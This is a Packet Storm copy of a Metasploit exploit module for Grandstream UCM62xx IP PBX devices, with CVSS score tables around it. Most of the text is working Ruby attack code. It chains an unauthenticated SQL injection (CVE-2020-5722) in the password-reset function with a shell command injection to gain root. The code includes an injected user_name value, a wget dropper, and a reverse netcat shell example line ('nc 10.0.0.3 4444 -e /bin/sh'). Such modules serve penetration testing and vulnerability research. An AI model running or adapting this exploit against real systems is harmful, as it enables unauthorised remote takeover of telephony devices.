Lucene search

K
packetstormJbaines-r7, metasploit.comPACKETSTORM:165708
HistoryJan 25, 2022 - 12:00 a.m.

Grandstream UCM62xx IP PBX sendPasswordEmail Remote Code Execution

2022-01-2500:00:00
jbaines-r7, metasploit.com
packetstormsecurity.com
194

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE',  
'Description' => %q{  
This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and  
a command injection vulnerability (technically, no assigned CVE but was inadvertently  
patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX  
series of devices. The vulnerabilities allow an unauthenticated remote attacker to  
execute commands as root.  
  
Exploitation happens in two stages:  
  
1. An SQL injection during username lookup while executing the "Forgot Password" function.  
2. A command injection that occurs after the user provided username is passed to a Python script  
via the shell. Like so:  
  
/bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \  
password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `  
  
This module affect UCM62xx versions before firmware version 1.0.19.20.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module  
],  
'References' => [  
[ 'CVE', '2020-5722' ],  
[ 'EDB', '48247']  
],  
'DisclosureDate' => '2020-03-23',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_ARMLE],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'Payload' => {  
'DisableNops' => true,  
'BadChars' => '\'&|'  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_ARMLE],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'wget' ]  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'RPORT' => 8089,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
##  
# Sends a POST /cgi request with a payload of action=getInfo. The  
# server should respond with a large json blob like the following,  
# where "prog_version" is he firmware version:  
#  
# {"response"=>{  
# "model_name"=>"UCM6202", "description"=>"IPPBX Appliance",  
# "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/",  
# "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.",  
# "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1",  
# "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US",  
# "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0",  
# "support_webrtc_cloud"=>"0"}, "status"=>0}  
###  
def check  
normalized_uri = normalize_uri(target_uri.path, '/cgi')  
vprint_status("Requesting version information from #{normalized_uri}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalized_uri,  
'vars_post' => { 'action' => 'getInfo' }  
})  
  
return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200  
  
body_json = res.get_json_document  
return CheckCode::Unknown('No JSON in response') unless body_json  
  
prog_version = body_json.dig('response', 'prog_version')  
return false if prog_version.nil?  
  
vprint_status("The reported version is: #{prog_version}")  
  
version = Rex::Version.new(prog_version)  
if version < Rex::Version.new('1.0.19.20')  
return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")  
end  
  
return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")  
end  
  
##  
# Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection  
# and then it will get passed to a python script via sh which allows us to execute a command injection.  
# It will look something like this:  
#  
# /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \  
# password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `  
#  
# This functionality is related to the"Forgot Password" feature. This function is rate limited by  
# the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few  
# payloads are appropriate.  
###  
def execute_command(cmd, _opts = {})  
rand_num = Rex::Text.rand_text_numeric(1..5)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/cgi'),  
'vars_post' =>  
{  
'action' => 'sendPasswordEmail',  
'user_name' => "' or #{rand_num}=#{rand_num}--`;`#{cmd}`;`"  
}  
}, 5)  
  
# the netcat reverse shell payload holds the connection open. So we'll treat no response  
# as a success. The meterpreter payload does not hold the connection open so this clause digs  
# deeper to ensure it succeeded. The server will respond with a non-0 status if the payload  
# generates an error (e.g. rate limit error)  
if res  
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200  
  
body_json = res.get_json_document  
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json  
  
status_json = body_json['status']  
fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json  
fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0  
end  
  
print_good('Exploit successfully executed.')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C